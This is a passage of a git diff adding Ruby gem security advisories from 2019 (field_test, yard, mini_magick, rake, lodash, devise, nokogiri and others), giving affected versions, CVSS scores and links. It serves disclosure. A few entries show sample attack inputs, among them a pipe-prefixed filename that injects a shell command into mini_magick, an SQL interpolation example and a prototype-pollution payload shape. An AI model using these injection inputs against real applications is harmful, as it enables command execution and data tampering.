+title: 'CVE-2019-13146 (field_test): Arbitrary Variants Via Query Parameters'
+comments: false
+categories:
+- field_test
+advisory:
+  gem: field_test
+  cve: 2019-13146
+  ghsa: wg9m-gw3h-hg83
+  url: https://github.com/ankane/field_test/issues/17
+  title: Arbitrary Variants Via Query Parameters
+  date: 2019-07-01
+  description: |
+    Due to unvalidated input, an attacker can pass in
+    arbitrary variants via query parameters.
+
+    If an application treats variants as trusted, this can
+    lead to potential vulnerabilities like SQL injection
+    or cross-site scripting (XSS). For instance:
+
+    landing_page = field_test(:landing_page)
+    Page.where("key = '#{landing_page}'")
+  cvss_v3: 5.3
+  unaffected_versions:
+  - "< 0.3.0"
+  patched_versions:
+  - ">= 0.3.1"
+---
diff --git a/advisories/_posts/2019-07-02-CVE-2019-1020001.md b/advisories/_posts/2019-07-02-CVE-2019-1020001.md
new file mode 100644
index 00000000..d022fdcc
--- /dev/null
+++ b/advisories/_posts/2019-07-02-CVE-2019-1020001.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2019-1020001 (yard): Arbitrary path traversal and file access via `yard
+  server`'
+comments: false
+categories:
+- yard
+advisory:
+  gem: yard
+  cve: 2019-1020001
+  ghsa: xfhh-rx56-rxcr
+  url: https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr
+  date: 2019-07-02
+  title: Arbitrary path traversal and file access via `yard server`
+  description: |
+    A path traversal vulnerability was discovered in YARD <= 0.9.19 when using
+    `yard server` to serve documentation. This bug would allow unsanitized HTTP
+    requests to access arbitrary files on the machine of a yard server host under
+    certain conditions.
+
+    The issue is resolved in v0.9.20 and later.
+  cvss_v2: 5.0
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 0.9.20"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-1020001
+    - https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr
+---
diff --git a/advisories/_posts/2019-07-02-GHSA-xfhh-rx56-rxcr.md b/advisories/_posts/2019-07-02-GHSA-xfhh-rx56-rxcr.md
new file mode 100644
index 00000000..2b3feecf
--- /dev/null
+++ b/advisories/_posts/2019-07-02-GHSA-xfhh-rx56-rxcr.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'GHSA-xfhh-rx56-rxcr (yard): Possible arbitrary path traversal and file access
+  via `yard server`'
+comments: false
+categories:
+- yard
+advisory:
+  gem: yard
+  ghsa: xfhh-rx56-rxcr
+  date: 2019-07-02
+  url: https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr
+  title: Possible arbitrary path traversal and file access via `yard server`
+  description: |
+    A path traversal vulnerability was discovered in YARD <= 0.9.19 when
+    using `yard server` to serve documentation. This bug would allow unsanitized HTTP
+    requests to access arbitrary files on the machine of a yard server host under certain
+    conditions.
+  patched_versions:
+  - ">= 0.9.20"
+---
diff --git a/advisories/_posts/2019-07-05-CVE-2019-13354.md b/advisories/_posts/2019-07-05-CVE-2019-13354.md
new file mode 100644
index 00000000..f125d2ba
--- /dev/null
+++ b/advisories/_posts/2019-07-05-CVE-2019-13354.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2019-13354 (strong_password): strong_password Ruby gem malicious version
+  causing Remote Code Execution vulnerability'
+comments: false
+categories:
+- strong_password
+advisory:
+  gem: strong_password
+  cve: 2019-13354
+  ghsa: 5h5r-ffc4-c455
+  url: https://withatwist.dev/strong-password-rubygem-hijacked.html
+  title: strong_password Ruby gem malicious version causing Remote Code Execution
+    vulnerability
+  date: 2019-07-05
+  description: |
+    The `strong_password` gem on RubyGems.org was hijacked by a malicious actor. The
+    malicious actor published v0.0.7 containing malicious code that enables an attacker
+    to execute remote code in production.
+
+    Upgrade `strong_password` to v0.0.8 to ensure no malicious code execution is possible.
+  cvss_v3: 9.8
+  unaffected_versions:
+  - "< 0.0.7"
+  patched_versions:
+  - ">= 0.0.8"
+---
diff --git a/advisories/_posts/2019-07-10-CVE-2019-10744.md b/advisories/_posts/2019-07-10-CVE-2019-10744.md
new file mode 100644
index 00000000..70916034
--- /dev/null
+++ b/advisories/_posts/2019-07-10-CVE-2019-10744.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2019-10744 (lodash-rails): Prototype Pollution in lodash'
+comments: false
+categories:
+- lodash-rails
+advisory:
+  gem: lodash-rails
+  cve: 2019-10744
+  ghsa: jf85-cpcp-j695
+  url: https://github.com/advisories/GHSA-jf85-cpcp-j695
+  title: Prototype Pollution in lodash
+  date: 2019-07-10
+  description: |
+    Versions of `lodash` before 4.17.12 are vulnerable to Prototype
+    Pollution.  The function `defaultsDeep` allows a malicious user
+    to modify the prototype of `Object` via
+    `{constructor: {prototype: {...}}}` causing the addition or
+    modification of an existing property that will exist on all objects.
+
+    ## Recommendation
+
+    Update to version 4.17.12 or later.
+  cvss_v2: 6.4
+  cvss_v3: 9.1
+  patched_versions:
+  - ">= 4.17.12"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-10744
+    - https://github.com/lodash/lodash/pull/4336
+    - https://snyk.io/vuln/SNYK-JS-LODASH-450202
+    - https://www.npmjs.com/advisories/1065
+    - https://access.redhat.com/errata/RHSA-2019:3024
+    - https://support.f5.com/csp/article/K47105354
+    - https://www.oracle.com/security-alerts/cpujan2021.html
+    - https://www.oracle.com/security-alerts/cpuoct2020.html
+    - https://security.netapp.com/advisory/ntap-20191004-0005
+    - https://github.com/advisories/GHSA-jf85-cpcp-j695
+---
diff --git a/advisories/_posts/2019-07-12-CVE-2019-13574.md b/advisories/_posts/2019-07-12-CVE-2019-13574.md
new file mode 100644
index 00000000..47701bf7
--- /dev/null
+++ b/advisories/_posts/2019-07-12-CVE-2019-13574.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2019-13574 (mini_magick): Remote command execution via filename'
+comments: false
+categories:
+- mini_magick
+advisory:
+  gem: mini_magick
+  cve: 2019-13574
+  ghsa: r7j3-vvh2-xrpj
+  url: https://benjamin-bouchet.com/blog/vulnerabilite-dans-la-gem-mini_magick-version-4-9-4/
+  title: Remote command execution via filename
+  date: 2019-07-12
+  description: |
+    A remote shell execution vulnerability when using MiniMagick::Image.open with URL coming from unsanitized user input.
+    e.g. `MiniMagick::Image.open("| touch.txt")`
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 4.9.4"
+  related:
+    url:
+    - https://github.com/minimagick/minimagick/commit/4cd5081e58810d3394d27a67219e8e4e0445d851
+---
diff --git a/advisories/_posts/2019-07-16-CVE-2019-1010306.md b/advisories/_posts/2019-07-16-CVE-2019-1010306.md
new file mode 100644
index 00000000..2633cc91
--- /dev/null
+++ b/advisories/_posts/2019-07-16-CVE-2019-1010306.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2019-1010306 (slanger): Arbitrary command execution in slanger'
+comments: false
+categories:
+- slanger
+advisory:
+  gem: slanger
+  cve: 2019-1010306
+  ghsa: rg32-m3hf-772v
+  url: https://github.com/stevegraham/slanger/pull/238
+  date: 2019-07-16
+  title: Arbitrary command execution in slanger
+  description: |
+    A remote attacker can execute arbitrary commands by sending a crafted request to the server.
+
+    This is due to the use of `Oj.load` instead of `Oj.strict_load` when processing messages.
+
+    Note that `slanger` is no longer maintained.
+  patched_versions:
+  - ">= 0.6.1"
+  cvss_v3: 9.8
+---
diff --git a/advisories/_posts/2019-07-16-CVE-2019-13589.md b/advisories/_posts/2019-07-16-CVE-2019-13589.md
new file mode 100644
index 00000000..83f6f093
--- /dev/null
+++ b/advisories/_posts/2019-07-16-CVE-2019-13589.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2019-13589 (paranoid2): Code backdoor in paranoid2'
+comments: false
+categories:
+- paranoid2
+advisory:
+  gem: paranoid2
+  cve: 2019-13589
+  ghsa: 4g4c-8gqh-m4vm
+  url: https://github.com/rubygems/rubygems.org/issues/2051
+  date: 2019-07-16
+  title: Code backdoor in paranoid2
+  description: |
+    The paranoid2 gem 1.1.6 for Ruby, as distributed on RubyGems.org, included
+    a code-execution backdoor inserted by a third party.
+
+    The current version, without this backdoor, is 1.1.5.
+  cvss_v3: 9.8
+  unaffected_versions:
+  - "> 1.1.6"
+  - "< 1.1.6"
+---
diff --git a/advisories/_posts/2019-07-19-CVE-2019-1010266.md b/advisories/_posts/2019-07-19-CVE-2019-1010266.md
new file mode 100644
index 00000000..3571d9cc
--- /dev/null
+++ b/advisories/_posts/2019-07-19-CVE-2019-1010266.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2019-1010266 (lodash-rails): Regular Expression Denial of Service (ReDoS)
+  in lodash'
+comments: false
+categories:
+- lodash-rails
+advisory:
+  gem: lodash-rails
+  cve: 2019-1010266
+  ghsa: x5rq-j2xg-h7qm
+  url: https://github.com/advisories/GHSA-x5rq-j2xg-h7qm
+  title: Regular Expression Denial of Service (ReDoS) in lodash
+  date: 2019-07-19
+  description: |
+    lodash prior to 4.7.11 is affected by: CWE-400: Uncontrolled
+    Resource Consumption. The impact is: Denial of service. The
+    component is: Date handler. The attack vector is: Attacker
+    provides very long strings, which the library attempts
+    to match using a regular expression.
+
+    The fixed version is: 4.7.11.
+  patched_versions:
+  - ">= 4.17.11"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-1010266
+    - https://github.com/lodash/lodash/issues/3359
+    - https://snyk.io/vuln/SNYK-JS-LODASH-73639
+    - https://github.com/lodash/lodash/commit/5c08f18d365b64063bfbfa686cbb97cdd6267347
+    - https://github.com/lodash/lodash/wiki/Changelog
+    - https://security.netapp.com/advisory/ntap-20190919-0004
+    - https://github.com/advisories/GHSA-x5rq-j2xg-h7qm
+---
diff --git a/advisories/_posts/2019-07-26-CVE-2019-1010191.md b/advisories/_posts/2019-07-26-CVE-2019-1010191.md
new file mode 100644
index 00000000..1a42371e
--- /dev/null
+++ b/advisories/_posts/2019-07-26-CVE-2019-1010191.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2019-1010191 (marginalia): SQL injection vulnerability via Marginalia::Comment'
+comments: false
+categories:
+- marginalia
+advisory:
+  gem: marginalia
+  cve: 2019-1010191
+  ghsa: hrj5-qp7x-rpg6
+  url: https://github.com/basecamp/marginalia/pull/73
+  title: SQL injection vulnerability via Marginalia::Comment
+  date: 2019-07-26
+  description: |
+    The 'marginalia' gem is affected by a SQL Injection vulnerability. All SQL
+    queries are affected when a user controller argument is added as a component.
+
+    This affects users that add a component that is user controller, for instance
+    a parameter or a header.
+
+    The issue is resolved in version 1.6.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.6"
+---
diff --git a/advisories/_posts/2019-07-31-CVE-2018-20857.md b/advisories/_posts/2019-07-31-CVE-2018-20857.md
new file mode 100644
index 00000000..3df09de1
--- /dev/null
+++ b/advisories/_posts/2019-07-31-CVE-2018-20857.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2018-20857 (samlr): samlr XML nodes comment attack'
+comments: false
+categories:
+- samlr
+advisory:
+  gem: samlr
+  cve: 2018-20857
+  ghsa: qpxp-5j56-gg3x
+  url: https://github.com/zendesk/samlr/pull/29
+  date: 2019-07-31
+  title: samlr XML nodes comment attack
+  description: |
+    Zendesk Samlr before 2.6.2 allows an XML nodes comment attack such as
+    a name_id node with user@example.com followed by <!---->. and then the attacker's
+    domain name.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 2.6.2"
+---
diff --git a/advisories/_posts/2019-07-31-CVE-2019-14281.md b/advisories/_posts/2019-07-31-CVE-2019-14281.md
new file mode 100644
index 00000000..153c2832
--- /dev/null
+++ b/advisories/_posts/2019-07-31-CVE-2019-14281.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2019-14281 (datagrid): Code execution backdoor in datagrid'
+comments: false
+categories:
+- datagrid
+advisory:
+  gem: datagrid
+  cve: 2019-14281
+  ghsa: rqp5-pg7w-832p
+  url: https://github.com/rubygems/rubygems.org/issues/2072
+  date: 2019-07-31
+  title: Code execution backdoor in datagrid
+  description: |
+    The datagrid gem 1.0.6 for Ruby, as distributed on RubyGems.org, included
+    a code-execution backdoor inserted by a third party.
+  unaffected_versions:
+  - "< 1.0.6"
+  - "> 1.0.6"
+  cvss_v3: 9.8
+---
diff --git a/advisories/_posts/2019-07-31-CVE-2019-14282.md b/advisories/_posts/2019-07-31-CVE-2019-14282.md
new file mode 100644
index 00000000..4359fb8c
--- /dev/null
+++ b/advisories/_posts/2019-07-31-CVE-2019-14282.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2019-14282 (simple_captcha2): Code backdoor in simple_captcha2'
+comments: false
+categories:
+- simple_captcha2
+advisory:
+  gem: simple_captcha2
+  cve: 2019-14282
+  ghsa: wg6j-r28m-7293
+  url: https://github.com/rubygems/rubygems.org/issues/2073
+  title: Code backdoor in simple_captcha2
+  date: 2019-07-31
+  description: |
+    The simple_captcha2 gem 0.2.3 for Ruby, as distributed on RubyGems.org,
+    included a code-execution backdoor inserted by a third party.
+  cvss_v3: 9.8
+  unaffected_versions:
+  - "< 0.2.3"
+  - "> 0.2.3"
+---
diff --git a/advisories/_posts/2019-08-11-CVE-2019-5477.md b/advisories/_posts/2019-08-11-CVE-2019-5477.md
new file mode 100644
index 00000000..3bba01c7
--- /dev/null
+++ b/advisories/_posts/2019-08-11-CVE-2019-5477.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2019-5477 (rexical): Rexical Command Injection Vulnerability'
+comments: false
+categories:
+- rexical
+advisory:
+  gem: rexical
+  cve: 2019-5477
+  ghsa: cr5j-953j-xw5p
+  url: https://github.com/tenderlove/rexical/commit/a652474dbc66be350055db3e8f9b3a7b3fd75926
+  title: Rexical Command Injection Vulnerability
+  date: 2019-08-11
+  description: |
+    A command injection vulnerability appears in code generated by the Rexical
+    gem versions v1.0.6 and earlier. It allows commands to be executed in a
+    subprocess by Ruby's `Kernel.open` method.
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.0.7"
+  related:
+    url:
+    - https://github.com/tenderlove/rexical/blob/master/CHANGELOG.rdoc#107--2019-08-06
+    - https://groups.google.com/forum/#!msg/ruby-security-ann/YMnKFsASOAE/Fw3ocLI0BQAJ
+---
diff --git a/advisories/_posts/2019-08-19-CVE-2019-15224.md b/advisories/_posts/2019-08-19-CVE-2019-15224.md
new file mode 100644
index 00000000..679c2a74
--- /dev/null
+++ b/advisories/_posts/2019-08-19-CVE-2019-15224.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2019-15224 (rest-client): Code execution backdoor in rest-client'
+comments: false
+categories:
+- rest-client
+advisory:
+  gem: rest-client
+  cve: 2019-15224
+  ghsa: 333g-rpr4-7hxq
+  url: https://github.com/rest-client/rest-client/issues/713
+  title: Code execution backdoor in rest-client
+  date: 2019-08-19
+  description: |
+    The rest-client gem 1.6.13 for Ruby, as distributed on RubyGems.org,
+    included a code-execution backdoor inserted by a third party.
+  cvss_v3: 9.8
+  unaffected_versions:
+  - "<= 1.6.9"
+  - ">= 1.6.14"
+---
diff --git a/advisories/_posts/2019-08-20-CVE-2019-15224.md b/advisories/_posts/2019-08-20-CVE-2019-15224.md
new file mode 100644
index 00000000..29f6435b
--- /dev/null
+++ b/advisories/_posts/2019-08-20-CVE-2019-15224.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2019-15224 (omniauth_amazon): Code execution backdoor in omniauth_amazon'
+comments: false
+categories:
+- omniauth_amazon
+advisory:
+  gem: omniauth_amazon
+  cve: 2019-15224
+  ghsa: 333g-rpr4-7hxq
+  url: https://github.com/rubygems.org/issues/2097
+  title: Code execution backdoor in omniauth_amazon
+  date: 2019-08-20
+  description: |
+    The omniauth_amazon gem 1.0.1 for Ruby, as distributed on RubyGems.org, included a
+    code-execution backdoor inserted by a third party.
+
+    Users of an affected version should consider downgrading to the last non-affected version of
+    1.0.1.
+  cvss_v3: 9.8
+  unaffected_versions:
+  - "< 1.0.1"
+  - "> 1.0.1"
+  related:
+    url:
+    - https://github.com/rubygems/rubygems.org/wiki/Gems-yanked-and-accounts-locked#19-aug-2019
+---
diff --git a/advisories/_posts/2019-08-21-CVE-2018-20975.md b/advisories/_posts/2019-08-21-CVE-2018-20975.md
new file mode 100644
index 00000000..8212b341
--- /dev/null
+++ b/advisories/_posts/2019-08-21-CVE-2018-20975.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2018-20975 (fat_free_crm): fat_free_crm XSS via query parameter of tags_helper
+  method'
+comments: false
+categories:
+- fat_free_crm
+advisory:
+  gem: fat_free_crm
+  cve: 2018-20975
+  ghsa: 4p8f-mmfj-r45g
+  url: https://github.com/fatfreecrm/fat_free_crm/commit/6d60bc8ed010c4eda05d6645c64849f415f68d65
+  date: 2019-08-21
+  title: fat_free_crm XSS via query parameter of tags_helper method
+  description: 'Fat Free CRM before 0.18.1 has XSS in the tags_helper in app/helpers/tags_helper.rb.
+
+    '
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 0.18.1"
+---
diff --git a/advisories/_posts/2019-08-29-CVE-2020-8130.md b/advisories/_posts/2019-08-29-CVE-2020-8130.md
new file mode 100644
index 00000000..ca01184a
--- /dev/null
+++ b/advisories/_posts/2019-08-29-CVE-2020-8130.md
@@ -0,0 +1,22 @@
+---
+layout: advisory
+title: 'CVE-2020-8130 (rake): OS Command Injection in Rake'
+comments: false
+categories:
+- rake
+advisory:
+  gem: rake
+  cve: 2020-8130
+  ghsa: jppv-gw3r-w3q8
+  date: 2019-08-29
+  url: https://github.com/advisories/GHSA-jppv-gw3r-w3q8
+  title: OS Command Injection in Rake
+  description: |
+    There is an OS command injection vulnerability in Ruby Rake < 12.3.3 in
+    Rake::FileList when supplying a filename that begins with the pipe character
+    `|`.
+  cvss_v2: 9.3
+  cvss_v3: 8.1
+  patched_versions:
+  - ">= 12.3.3"
+---
diff --git a/advisories/_posts/2019-09-08-CVE-2019-16109.md b/advisories/_posts/2019-09-08-CVE-2019-16109.md
new file mode 100644
index 00000000..42f44e1d
--- /dev/null
+++ b/advisories/_posts/2019-09-08-CVE-2019-16109.md
@@ -0,0 +1,22 @@
+---
+layout: advisory
+title: 'CVE-2019-16109 (devise): Devise Gem for Ruby confirmation token validation
+  with a blank string'
+comments: false
+categories:
+- devise
+advisory:
+  gem: devise
+  cve: 2019-16109
+  ghsa: fcjw-8rhj-gwwc
+  url: https://github.com/plataformatec/devise/issues/5071
+  title: Devise Gem for Ruby confirmation token validation with a blank string
+  date: 2019-09-08
+  description: |
+    Devise before 4.7.1 confirms accounts upon receiving a request with a blank
+    confirmation_token, if a database record has a blank value in the confirmation_token column.
+    However, there is no scenario within Devise itself in which such database records would exist.
+  cvss_v3: 5.3
+  patched_versions:
+  - ">= 4.7.1"
+---
diff --git a/advisories/_posts/2019-09-12-CVE-2019-16892.md b/advisories/_posts/2019-09-12-CVE-2019-16892.md
new file mode 100644
index 00000000..35c4e5b0
--- /dev/null
+++ b/advisories/_posts/2019-09-12-CVE-2019-16892.md
@@ -0,0 +1,22 @@
+---
+layout: advisory
+title: 'CVE-2019-16892 (rubyzip): Denial of Service in rubyzip ("zip bombs")'
+comments: false
+categories:
+- rubyzip
+advisory:
+  gem: rubyzip
+  cve: 2019-16892
+  ghsa: 5m2v-hc64-56h6
+  url: https://github.com/rubyzip/rubyzip/pull/403
+  title: Denial of Service in rubyzip ("zip bombs")
+  date: 2019-09-12
+  description: |
+    In Rubyzip before 1.3.0, a crafted ZIP file can bypass application
+    checks on ZIP entry sizes because data about the uncompressed size
+    can be spoofed. This allows attackers to cause a denial of service
+    (disk consumption).
+  cvss_v3: 5.5
+  patched_versions:
+  - ">= 1.3.0"
+---
diff --git a/advisories/_posts/2019-09-23-CVE-2019-16145.md b/advisories/_posts/2019-09-23-CVE-2019-16145.md
new file mode 100644
index 00000000..4527ae73
--- /dev/null
+++ b/advisories/_posts/2019-09-23-CVE-2019-16145.md
@@ -0,0 +1,19 @@
+---
+layout: advisory
+title: 'CVE-2019-16145 (padrino-contrib): padrino-contrib XSS via caption parameter
+  of breadcrumbs helper'
+comments: false
+categories:
+- padrino-contrib
+advisory:
+  gem: padrino-contrib
+  cve: 2019-16145
+  ghsa: rwpr-83g3-96g7
+  url: https://github.com/padrino/padrino-contrib/pull/35
+  date: 2019-09-23
+  title: padrino-contrib XSS via caption parameter of breadcrumbs helper
+  description: |
+    The breadcrumbs contributed module through 0.2.0 for Padrino Framework
+    allows XSS via a caption.
+  cvss_v3: 6.1
+---
diff --git a/advisories/_posts/2019-09-23-CVE-2019-16377.md b/advisories/_posts/2019-09-23-CVE-2019-16377.md
new file mode 100644
index 00000000..b2624af4
--- /dev/null
+++ b/advisories/_posts/2019-09-23-CVE-2019-16377.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2019-16377 (consul): Consul gem insufficient authentication check - Multiple
+  powers in one controller are not always checked correctly'
+comments: false
+categories:
+- consul
+advisory:
+  gem: consul
+  cve: 2019-16377
+  ghsa: 8jhx-9gf4-hhf5
+  url: https://github.com/makandra/consul/issues/49
+  title: Consul gem insufficient authentication check - Multiple powers in one controller
+    are not always checked correctly
+  date: 2019-09-23
+  description: |
+    With the consul ruby gem before 1.0.3, if a controller checks multiple powers
+    using `:if` or `:except` conditions, these conditions are erroneously applied
+    to all power checks in that controller. This can lead to skipped power checks
+    and hence unauthenticated access to certain controller actions.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.0.3"
+---
diff --git a/advisories/_posts/2019-09-27-CVE-2019-16676.md b/advisories/_posts/2019-09-27-CVE-2019-16676.md
new file mode 100644
index 00000000..7bb17df2
--- /dev/null
+++ b/advisories/_posts/2019-09-27-CVE-2019-16676.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2019-16676 (simple_form): simple_form Gem for Ruby Incorrect Access Control
+  for forms based on user input'
+comments: false
+categories:
+- simple_form
+advisory:
+  gem: simple_form
+  cve: 2019-16676
+  ghsa: r74q-gxcg-73hx
+  url: https://github.com/plataformatec/simple_form/security/advisories/GHSA-r74q-gxcg-73hx
+  title: simple_form Gem for Ruby Incorrect Access Control for forms based on user
+    input
+  date: 2019-09-27
+  description: |
+    Simple Form before 5.0 has Incorrect Access Control in `file_method?` in `lib/simple_form/form_builder.rb`,
+    because a user-supplied string is invoked as a method call.
+
+    This only happens for pages that build forms based on user input.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 5.0"
+---
diff --git a/advisories/_posts/2019-10-07-CVE-2024-22050.md b/advisories/_posts/2019-10-07-CVE-2024-22050.md
new file mode 100644
index 00000000..851e24db
--- /dev/null
+++ b/advisories/_posts/2019-10-07-CVE-2024-22050.md
@@ -0,0 +1,53 @@
+---
+layout: advisory
+title: 'CVE-2024-22050 (iodine): Malicious URL drafting attack against iodines static
+  file server may allow path traversal'
+comments: false
+categories:
+- iodine
+advisory:
+  gem: iodine
+  cve: 2024-22050
+  ghsa: 85rf-xh54-whp3
+  url: https://github.com/boazsegev/iodine/security/advisories/GHSA-85rf-xh54-whp3
+  title: Malicious URL drafting attack against iodines static file server may allow
+    path traversal
+  date: 2019-10-07
+  description: |2
+
+    ### Impact
+
+    A path traversal vulnerability was detected in iodine's static
+    file service. This vulnerability effects any application running
+    iodine's static file server on an effected iodine version.
+
+    Malicious URL drafting may cause the static file server to attempt
+    a response containing data from files that shouldn't be normally
+    accessible from the public folder.
+
+    ### Patches
+
+    The vulnerability was patched in version 0.7.34. Please upgrade
+    to the latest version.
+
+    ### Workarounds
+
+    A possible workaround would be to disable the static file service
+    and it's `X-Sendfile` support, sending static files using nginx
+    or a source code solution (sending the data dynamically).
+
+    However, it would be better to upgrade iodine to the latest
+    version, as it also contains non-security related fixes.
+
+    ### For more information
+    If you have any questions or comments about this advisory:
+    * Email [Boaz Segev](https://github.com/boazsegev)
+  patched_versions:
+  - ">= 0.7.34"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-22050
+    - https://github.com/boazsegev/iodine/security/advisories/GHSA-85rf-xh54-whp3
+    - https://github.com/boazsegev/iodine/commit/5558233fb7defda706b4f9c87c17759705949889
+    - https://github.com/advisories/GHSA-85rf-xh54-whp3
+---
diff --git a/advisories/_posts/2019-10-07-GHSA-85rf-xh54-whp3.md b/advisories/_posts/2019-10-07-GHSA-85rf-xh54-whp3.md
new file mode 100644
index 00000000..d5761168
--- /dev/null
+++ b/advisories/_posts/2019-10-07-GHSA-85rf-xh54-whp3.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'GHSA-85rf-xh54-whp3 (iodine): iodine path traversal via malicious URL drafting
+  attack'
+comments: false
+categories:
+- iodine
+advisory:
+  gem: iodine
+  ghsa: 85rf-xh54-whp3
+  url: https://github.com/boazsegev/iodine/security/advisories/GHSA-85rf-xh54-whp3
+  date: 2019-10-07
+  title: iodine path traversal via malicious URL drafting attack
+  description: |
+    Malicious URL drafting attack against iodines static file server
+    may allow path traversal
+
+    Impact:
+    A path traversal vulnerability was detected in iodine's static file service.
+
+    This vulnerability effects any application running iodine's static file server
+    on an effected iodine version.
+
+    Malicious URL drafting may cause the static file server to attempt a response
+    containing data from files that shouldn't be normally accessible from the
+    public folder.
+  patched_versions:
+  - ">= 0.7.34"
+---
diff --git a/advisories/_posts/2019-10-14-CVE-2019-17383.md b/advisories/_posts/2019-10-14-CVE-2019-17383.md
new file mode 100644
index 00000000..3012cc9f
--- /dev/null
+++ b/advisories/_posts/2019-10-14-CVE-2019-17383.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2019-17383 (netaddr): netaddr world-writeable file permissions'
+comments: false
+categories:
+- netaddr
+advisory:
+  gem: netaddr
+  cve: 2019-17383
+  ghsa: 49pj-69vf-c689
+  url: https://github.com/dspinhirne/netaddr-rb/pull/20
+  date: 2019-10-14
+  title: netaddr world-writeable file permissions
+  description: |
+    The netaddr gem before 2.0.4 for Ruby has misconfigured file permissions,
+    such that a gem install may result in 0777 permissions in the target filesystem.
+  cvss_v3: 9.8
+  patched_versions:
+  - "~> 1.5.3"
+  - ">= 2.0.4"
+---
diff --git a/advisories/_posts/2019-10-22-CVE-2019-15587.md b/advisories/_posts/2019-10-22-CVE-2019-15587.md
new file mode 100644
index 00000000..5f6bec99
--- /dev/null
+++ b/advisories/_posts/2019-10-22-CVE-2019-15587.md
@@ -0,0 +1,20 @@
+---
+layout: advisory
+title: 'CVE-2019-15587 (loofah): Loofah XSS Vulnerability'
+comments: false
+categories:
+- loofah
+advisory:
+  gem: loofah
+  cve: 2019-15587
+  ghsa: c3gv-9cxf-6f57
+  url: https://github.com/flavorjones/loofah/issues/171
+  title: Loofah XSS Vulnerability
+  date: 2019-10-22
+  description: |
+    In the Loofah gem, through v2.3.0, unsanitized JavaScript may occur in
+    sanitized output when a crafted SVG element is republished.
+  cvss_v3: 6.4
+  patched_versions:
+  - ">= 2.3.1"
+---
diff --git a/advisories/_posts/2019-10-24-CVE-2019-18409.md b/advisories/_posts/2019-10-24-CVE-2019-18409.md
new file mode 100644
index 00000000..6f3ff171
--- /dev/null
+++ b/advisories/_posts/2019-10-24-CVE-2019-18409.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2019-18409 (ruby_parser-legacy): ruby_parser-legacy world writable files
+  allow local privilege escalation'
+comments: false
+categories:
+- ruby_parser-legacy
+advisory:
+  gem: ruby_parser-legacy
+  cve: 2019-18409
+  ghsa: hhwc-8g49-j8jx
+  url: https://github.com/zenspider/ruby_parser-legacy/issues/1
+  title: ruby_parser-legacy world writable files allow local privilege escalation
+  date: 2019-10-24
+  description: |
+    The ruby_parser-legacy (aka legacy) gem 1.0.0 for Ruby allows local
+    privilege escalation because of world-writable files. For example,
+    if the brakeman gem (which has a legacy dependency) 4.5.0 through 4.7.0 is used,
+    a local user can insert malicious code into the
+    ruby_parser-legacy-1.0.0/lib/ruby_parser/legacy/ruby_parser.rb file.
+  cvss_v2: 4.6
+  cvss_v3: 7.8
+---
diff --git a/advisories/_posts/2019-10-31-CVE-2019-13117.md b/advisories/_posts/2019-10-31-CVE-2019-13117.md
new file mode 100644
index 00000000..8100513a
--- /dev/null
+++ b/advisories/_posts/2019-10-31-CVE-2019-13117.md
@@ -0,0 +1,87 @@
+---
+layout: advisory
+title: 'CVE-2019-13117 (nokogiri): Nokogiri gem, via libxslt, is affected by multiple
+  vulnerabilities'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2019-13117
+  ghsa: 4hm9-844j-jmxp
+  url: https://github.com/sparklemotion/nokogiri/issues/1943
+  title: Nokogiri gem, via libxslt, is affected by multiple vulnerabilities
+  date: 2019-10-31
+  description: |
+    Nokogiri v1.10.5 has been released.
+
+    This is a security release. It addresses three CVEs in upstream libxml2,
+    for which details are below.
+
+    If you're using your distro's system libraries, rather than Nokogiri's
+    vendored libraries, there's no security need to upgrade at this time,
+    though you may want to check with your distro whether they've patched this
+    (Canonical has patched Ubuntu packages). Note that libxslt 1.1.34 addresses
+    these vulnerabilities.
+
+    Full details about the security update are available in Github Issue
+    [#1943] https://github.com/sparklemotion/nokogiri/issues/1943.
+
+    ---
+
+    CVE-2019-13117
+
+    https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-13117.html
+
+    Priority: Low
+
+    Description: In numbers.c in libxslt 1.1.33, an xsl:number with certain format strings
+    could lead to a uninitialized read in xsltNumberFormatInsertNumbers. This
